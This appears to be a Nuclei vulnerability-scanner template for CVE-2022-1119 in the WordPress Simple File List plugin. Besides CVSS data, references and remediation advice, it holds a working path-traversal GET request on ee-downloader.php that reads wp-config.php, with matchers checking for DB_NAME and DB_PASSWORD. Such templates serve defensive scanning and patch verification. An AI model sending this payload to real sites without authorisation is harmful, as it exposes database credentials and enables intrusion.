id: CVE-2022-1119

info:
  name: WordPress Simple File List <3.2.8 - Local File Inclusion
  author: random-robbie
  severity: high
  description: |
    WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
    - https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
    - https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1119
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1119
    cwe-id: CWE-22
    epss-score: 0.82335
    epss-percentile: 0.99242
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c9846637ec52a237fd6fa2237102deae148fc4b5fe5ad9d03cf47867cf9cab1602207fcd6d33fc76e22ecf5eb189b137f5fbab5c3ae21d4a1d899aef774f357e5cb8:922c64590222798bb761d5b6d8e72950